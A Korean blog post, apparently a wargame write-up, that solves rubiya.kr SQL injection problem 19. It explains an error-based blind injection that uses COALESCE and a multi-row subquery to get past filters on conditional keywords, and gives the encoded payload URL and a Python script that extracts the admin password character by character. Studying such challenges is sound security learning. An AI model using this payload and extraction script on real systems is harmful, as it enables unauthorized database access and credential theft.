http://rubiya.kr/sqli/prob19.php
<?php
include "./dbconn.php";
include "./solve.php";
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob19 where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(mysql_error()) exit;
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob19 where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve();
highlight_file(__FILE__);
?>
일단 이것저것 해보면 에러기반 인젝션인건 알았는데, 조건문이 모두 막혀있어서 꽤 고민했다.
이틀동안 이거 하나만 가지고 고민하다 포기하고 지낼 즈음.... 우연히 adm1nkyj님과 이
문제에 대해 이야기하고 다시 풀어보려 하니까 풀렸다.
조건문이 모두 막혀있어서 or의 앞부분이 맞으면 뒷부분은 검사를 안한다는 점을 이용하려고 했는데
or의 특성인지 함수의 특성인지 단순히 or만으로는 되지 않았다.
mysql> select * from prob;
+-------+-------+
| id | pw |
+-------+-------+
| admin | 1234 |
| guest | guest |
| oop | nop |
+-------+-------+
3 rows in set (0.02 sec)
mysql> select * from prob where substr(id,1,1)='a' or (select 1 union select 2);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql>
or은 특이하게도
mysql> select * from prob where substr('abc',1,1)='a' or (select 1 union select 2);
+-------+-------+
| id | pw |
+-------+-------+
| admin | 1234 |
| guest | guest |
| oop | nop |
+-------+-------+
3 rows in set (0.00 sec)
mysql>
요렇게 쿼리문 내부에서 바로바로 true, false여부를 판단할수 있으면 뒷부분 검사를 안 하는데,
컬럼명이 들어가면 한번 검사를 하는지 꼭 뒷부분이 실행되서 참이던 거짓이던 에러가 발생한다.
(컬럼이 한개만있던 다중 갯수의 컬럼이 있던 무조건 뒷부분 쿼리를 실행한다.) or도 불가능한것
같고 다른 조건문을 찾으려고 하다가...
http://randa.tistory.com/15에서 조건문 대신 쓸수있을것 같은 함수를 몇개 발견하고 연구를
좀 해보았다. 2번에있는 COALESCE라는 함수를 이용했는데....
2. COALESCE(value1,value2 ...)
COALESCE는 범위안에 값 중 NULL이 아닌 첫번째 인수를 리턴한다. 만약 모든 값 이 NULL일 경우는 NULL을 리턴한다.
1 2 | SELECT COALESCE ( NULL ,1,2,3); SELECT COALESCE ( NULL , NULL , NULL ); |
1line - 좌측부터 시작해서 첫번째로 NULL이 아닌 것은 1이기 때문에 1을 리턴한다.
2line - value 값이 전부 NULL로만 이루어져 있기 때문에 NULL을 리턴한다.
이런식으로 쿼리를 짜보니... 되네? (단 가장 아래에 있는 컬럼 하나만 비교한다..)
mysql> select * from prob;
+-------+------+
| id | pw |
+-------+------+
| admin | 1234 |
+-------+------+
1 row in set (0.00 sec)
mysql> select * from prob where coalesce(substr(id,1,1)='a' or null,(select 1 union select 2));
+-------+------+
| id | pw |
+-------+------+
| admin | 1234 |
+-------+------+
1 row in set (0.00 sec)
mysql>
coalesce함수는 인자중에서 null값이 아닌 첫번째 인수를 리턴하는데, 저런식으로 쿼리를 짜면
앞부분이 true로 판별되어 뒷부분 or null 이 실행되지 않고, true가 나왔으므로 null값이 아니므로
이 값이 반환된다. a가 아닐경우에는 저 쿼리에서 null값이 반환되며 뒷부분의 잘못된 쿼리가 실행되어
에러가 발생한다.
그런데 지금도 궁금한 것이.... 맨 처음의
mysql> select * from prob where substr(id,1,1)='a' or (select 1 union select 2);
요런 쿼리는 동일한 환경(컬럼 1개)에서 실행해도 true던 false던 무조건 뒷부분 쿼리가 실행되는데 반해,
mysql> select * from prob where coalesce(substr(id,1,1)='a' or null,(select 1 union select 2));
이 쿼리는 substr()~ or null부분을 직접 실행해서 참 거짓 여부를 판단한 뒤에 뒷부분을 실행한다.
이건 coalesce함수의 특성인것 같으며, 함수의 특성에 따라서 앞부분을 한번 실행해보고 결과를
내보느냐, 아니면 무조건 뒷부분까지 실행해보느냐의 차이인것 같다. 이 부분은 좀 더 연구가
필요한것 같다.
어쨋든 문제를 풀 시에는 이런 쿼리를 사용하면 된다.
http://rubiya.kr/sqli/prob19.php?pw=a%27%20or%20coalesce(ascii(substr(pw,1,1))=56%20or%20null,%20(select%201%20union%20select%202))%20and%20%271%27=%271
query : select id from prob19 where id='admin' and pw='a' or coalesce(ascii(substr(pw,1,1))=56 or null, (select 1 union select 2)) and '1'='1'
import urllib2 answer = '' for i in range(1,9): for j in range(32,128): print i,j,answer req = urllib2.Request('http://rubiya.kr/sqli/prob19.php?pw=a%27%20or%20coalesce(ascii(substr(pw,'+str(i)+\ ',1))='+str(j)+'%20or%20null,%20(select%201%20union%20select%202))%20and%20%271%27=%271') res = urllib2.urlopen(req) reads = res.read() if reads.find('query :') !=-1: answer += chr(j) break print answer
'webhacking > sql, sql injection' 카테고리의 다른 글
wargame.kr lonely_guys (0) | 2014.09.28 |
---|---|
rubiya.kr 19번 다른방법.(원래방법?) (3) | 2014.09.11 |
mysql hex()함수에 관해서 (0) | 2014.09.06 |
rubiya.kr 15번. (0) | 2014.09.06 |
webhacking.kr 13번. (2) | 2014.09.04 |